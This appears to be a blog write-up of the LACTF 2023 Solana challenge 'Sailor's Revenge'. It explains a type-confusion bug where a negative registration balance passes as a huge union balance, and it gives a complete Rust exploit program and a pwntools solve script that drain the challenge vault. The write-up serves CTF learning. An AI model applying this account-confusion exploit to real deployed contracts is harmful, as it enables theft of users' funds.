Sailor has been presented in LACTF2023 by Aplet123.
The write-up can be found on my blog.
Sailor's Revenge
Root Cause
/chall/src/processor.rs
pub struct SailorUnion {
available_funds: u64,
authority: [u8; 32],
}
pub struct Registration {
balance: i64,
member: [u8; 32],
}
It is observed that the sizes of two structs are identical, and the balance of the Registration can have a negative value. (This is a very strong hint)
pub fn register_member(
program_id: &Pubkey,
accounts: &[AccountInfo],
member: [u8; 32],
) -> ProgramResult {
// ...
let ser_data = Registration {
balance: -100,
member,
// sailor_union: sailor_union.key.to_bytes(),
}
.try_to_vec()?;
// ...
registration.data.borrow_mut().copy_from_slice(&ser_data);
In register_member() function, the balance
of registration struct stores a value of -100.
pub fn strike_pay(program_id: &Pubkey, accounts: &[AccountInfo], amt: u64) -> ProgramResult {
msg!("strike pay {}", amt);
let iter = &mut accounts.iter();
let sailor_union = next_account_info(iter)?;
assert!(!sailor_union.is_signer);
assert!(sailor_union.is_writable);
assert!(sailor_union.owner == program_id);
let member = next_account_info(iter)?;
assert!(member.is_writable);
assert!(member.owner == &system_program::ID);
let authority = next_account_info(iter)?;
assert!(authority.is_signer);
assert!(authority.owner == &system_program::ID);
let (vault_addr, vault_bump) = Pubkey::find_program_address(&[b"vault"], program_id);
let vault = next_account_info(iter)?;
assert!(!vault.is_signer);
assert!(vault.is_writable);
assert!(vault.owner == &system_program::ID);
assert!(vault.key == &vault_addr);
let system = next_account_info(iter)?;
assert!(system.key == &system_program::ID);
let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
assert!(&data.authority == authority.key.as_ref());
if data.available_funds >= amt {
data.available_funds -= amt;
transfer(&vault, &member, amt, &[&[b"vault", &[vault_bump]]])?;
data.serialize(&mut &mut *sailor_union.data.borrow_mut())?;
Ok(())
} else {
To claim strike_pay function,
available_funds
of sailor_union must have some value.- address of sailor_union is derived by its
authority
.
In /server/main.rs ,
challenge.env.execute_as_transaction(
&[Instruction::new_with_borsh(
prog.pubkey(),
&SailorInstruction::CreateUnion(VAULT_BAL),
vec![
AccountMeta::new(sailor_union, false),
AccountMeta::new(rich_boi.pubkey(), true),
AccountMeta::new(vault, false),
AccountMeta::new_readonly(system_program::id(), false),
],
)],
&[&rich_boi],
);
The authority
of sailor_union is rich_boi
.
In create_union() of processor.rs
let data = SailorUnion {
available_funds: 0,
authority: authority.key.to_bytes(),
};
the available_funds
of sailor_union is zero.
We cannot call strike_pay with sailor_union.
So, we should use registration instead of sailor_union.
This can bypass all of the assert statements in strike_pay.
If I claim 100_000_000 coins, the -100 stored in the balance
will be cast as a larger value in u64 than 100_000_000.
And
assert!(&data.authority == authority.key.as_ref());
Since member
stored is the user
, we place user
in the position of authority.
Solve
lib.rs
use borsh::{BorshDeserialize, BorshSerialize};
#[derive(Debug, Clone, BorshSerialize,PartialEq, Eq, PartialOrd, Ord)]
pub enum SailorInstruction {
CreateUnion(u64),
PayDues(u64),
StrikePay(u64),
RegisterMember([u8; 32]),
}
#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct SailorUnion {
available_funds: u64,
authority: [u8; 32],
}
#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct Registration {
balance: i64,
member: [u8; 32],
}
#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
use borsh::BorshSerialize;
use solana_program::{
account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, instruction::Instruction,
msg, program::invoke, pubkey::Pubkey,
instruction::AccountMeta,
};
// use chall::{self, SailorInstruction};
use crate::SailorInstruction;
entrypoint!(process_instruction);
pub fn process_instruction(
_program_id: &Pubkey,
accounts: &[AccountInfo],
_instruction_data: &[u8],
) -> ProgramResult {
let prog = accounts[0].clone();
let user = accounts[1].clone();
let vault = accounts[2].clone();
let sailor_union = accounts[3].clone();
let registration = accounts[4].clone();
let rich_boi = accounts[5].clone();
let system_program = accounts[6].clone();
let amt = 100_000_000;
msg!("solving program {}", prog.key);
invoke(
&Instruction {
program_id: prog.key.clone(),
accounts: vec![
AccountMeta::new(registration.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(vault.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
data: SailorInstruction::StrikePay(100_000_000).try_to_vec().unwrap(),
},
&[
user.clone(),
registration.clone(),
vault.clone(),
]
);
msg!("done solving");
Ok(())
}
}
cargo.toml
[package]
edition = "2021"
name = "solve"
version = "0.1.0"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
# sailors-revenge = {path = "../chall", version = "0.1.0"}
solana-program = "1.14.11"
borsh = "0.10.3"
[features]
default = []
no-entrypoint = []
no-idl = []
no-log-ix-name = []
[lib]
crate-type = ["cdylib", "rlib"]
cargo build-bpf
solve.py (check the path of solve.so)
# sample solve script to interface with the server
from pwn import *
# feel free to change this
account_metas = [
("program", "-r"), # readonly
("user", "sw"), # signer + writable
("vault", "-w"), # writable
("sailor union", "-w"),
("registration", "-w"),
("rich boi", "-r"),
("system program", "-r"),
]
instruction_data = b"placeholder"
p = remote("challs.actf.co", 31404)
# p = remote("127.0.0.1", 5000)
with open("./solve/target/deploy/solve.so", "rb") as f:
solve = f.read()
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)
accounts = {}
for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"):
[name, pubkey] = l.decode().split(": ")
accounts[name] = pubkey
p.sendline(str(len(account_metas)).encode())
for (name, perms) in account_metas:
p.sendline(f"{perms} {accounts[name]}".encode())
p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)
p.interactive()
actf{maybe_anchor_can_kind_of_protect_me_from_my_own_stupidity}
'writeups' 카테고리의 다른 글
flashbot mev-share ctf (0) | 2023.08.08 |
---|---|
corCTF 2023 - blockchain(tribunal, baby-wallet) (0) | 2023.07.31 |
NumemCTF 2023 (0) | 2023.04.01 |
DaVinciCTF 2023 - blockchain (0) | 2023.03.13 |
SUITF (0) | 2023.03.03 |